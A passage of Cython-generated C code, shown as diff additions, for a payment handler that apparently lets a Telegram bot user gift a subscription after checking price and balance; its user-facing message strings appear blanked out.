(unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_user_tg_id = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/gift.py":104 + * user_tg_id = callback_query.from_user.id + * + * if not price: # <<<<<<<<<<<<<< + * await callback_query.answer(" . .", show_alert=True) + * return + */ + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_6 = (!__pyx_t_5); + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":105 + * + * if not price: + * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_show_alert, Py_True) < 0) __PYX_ERR(0, 105, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__28, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L5_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 105, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 105, __pyx_L1_error) + } + } + + /* "handlers/payments/gift.py":106 + * if not price: + * await callback_query.answer(" . .", show_alert=True) + * return # <<<<<<<<<<<<<< + * + * balance = await get_balance(user_tg_id) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/gift.py":104 + * user_tg_id = callback_query.from_user.id + * + * if not price: # <<<<<<<<<<<<<< + * await callback_query.answer(" . .", show_alert=True) + * return + */ + } + + /* "handlers/payments/gift.py":108 + * return + * + * balance = await get_balance(user_tg_id) # <<<<<<<<<<<<<< + * + * if balance < price: + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_tg_id}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_balance = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":110 + * balance = await get_balance(user_tg_id) + * + * if balance < price: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + */ + __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_balance, __pyx_cur_scope->__pyx_v_price, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 110, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":111 + * + * if balance < price: + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":112 + * if balance < price: + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 112, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 112, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_8}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":114 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" . .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":115 + * + * await callback_query.message.answer( + * text=" . .", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__29) < 0) __PYX_ERR(0, 115, __pyx_L1_error) + + /* "handlers/payments/gift.py":116 + * await callback_query.message.answer( + * text=" . .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * return + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_7 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_7)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_7); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 116, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/gift.py":114 + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" . .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 114, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 114, __pyx_L1_error) + } + } + + /* "handlers/payments/gift.py":118 + * reply_markup=builder.as_markup(), + * ) + * return # <<<<<<<<<<<<<< + * + * builder = InlineKeyboardBuilder() + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/gift.py":110 + * balance = await get_balance(user_tg_id) + * + * if balance < price: # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row(types.InlineKeyboardButton(text=" ", callback_data="profile")) + */ + } + + /* "handlers/payments/gift.py":120 + * return + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_8; + __pyx_t_8 = 0; + + /* "handlers/payments/gift.py":121 + * + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), + * types.InlineKeyboardButton(text=" ", callback_data="profile"), + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/gift.py":122 + * builder = InlineKeyboardBuilder() + * builder.row( + * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), # <<<<<<<<<<<<<< + * types.InlineKeyboardButton(text=" ", callback_data="profile"), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__30) < 0) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_9 = __Pyx_PyUnicode_Concat(__pyx_kp_u_confirm_gift, __pyx_t_7); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_9) < 0) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":123 + * builder.row( + * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), + * types.InlineKeyboardButton(text=" ", callback_data="profile"), # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__31) < 0) __PYX_ERR(0, 123, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 123, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_9, __pyx_t_7}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/gift.py":126 + * ) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=( + * f" :\n" + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/gift.py":127 + * + * await callback_query.message.answer( + * text=( # <<<<<<<<<<<<<< + * f" :\n" + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" + */ + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 127, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + + /* "handlers/payments/gift.py":128 + * await callback_query.message.answer( + * text=( + * f" :\n" # <<<<<<<<<<<<<< + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" + * f": {price} \n\n" + */ + __pyx_t_7 = PyTuple_New(7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 128, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_10 = 0; + __pyx_t_11 = 127; + __Pyx_INCREF(__pyx_kp_u_b_b_b); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 45; + __Pyx_GIVEREF(__pyx_kp_u_b_b_b); + PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_kp_u_b_b_b); + + /* "handlers/payments/gift.py":129 + * text=( + * f" :\n" + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" # <<<<<<<<<<<<<< + * f": {price} \n\n" + * " ." + */ + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_9); + PyTuple_SET_ITEM(__pyx_t_7, 1, __pyx_t_9); + __pyx_t_9 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_10 += 1; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_7, 2, __pyx_kp_u__13); + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_cur_scope->__pyx_v_selected_months, __pyx_kp_u_1, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 129, __pyx_L1_error) + if (__pyx_t_6) { + __Pyx_INCREF(__pyx_n_u__14); + __pyx_t_9 = __pyx_n_u__14; + } else { + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_selected_months); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_2, 2, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 129, __pyx_L1_error) + if (!__pyx_t_12) { + } else { + __pyx_t_5 = __pyx_t_12; + goto __pyx_L9_bool_binop_done; + } + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_3, 3, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 129, __pyx_L1_error) + if (!__pyx_t_12) { + } else { + __pyx_t_5 = __pyx_t_12; + goto __pyx_L9_bool_binop_done; + } + __pyx_t_12 = (__Pyx_PyInt_BoolEqObjC(__pyx_t_2, __pyx_int_4, 4, 0)); if (unlikely((__pyx_t_12 < 0))) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_5 = __pyx_t_12; + __pyx_L9_bool_binop_done:; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_12 = __pyx_t_5; + if (__pyx_t_12) { + __Pyx_INCREF(__pyx_n_u__15); + __pyx_t_3 = __pyx_n_u__15; + } else { + __Pyx_INCREF(__pyx_n_u__16); + __pyx_t_3 = __pyx_n_u__16; + } + __pyx_t_9 = __pyx_t_3; + __pyx_t_3 = 0; + } + __pyx_t_3 = __Pyx_PyUnicode_Unicode(__pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_7, 3, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_b_b_4); + __pyx_t_11 = (65535 > __pyx_t_11) ? 65535 : __pyx_t_11; + __pyx_t_10 += 19; + __Pyx_GIVEREF(__pyx_kp_u_b_b_4); + PyTuple_SET_ITEM(__pyx_t_7, 4, __pyx_kp_u_b_b_4); + + /* "handlers/payments/gift.py":130 + * f" :\n" + * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" + * f": {price} \n\n" # <<<<<<<<<<<<<< + * " ." + * ), + */ + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_price, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 130, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_3) : __pyx_t_11; + __pyx_t_10 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + PyTuple_SET_ITEM(__pyx_t_7, 5, __pyx_t_3); + __pyx_t_3 = 0; + __Pyx_INCREF(__pyx_kp_u_b); + 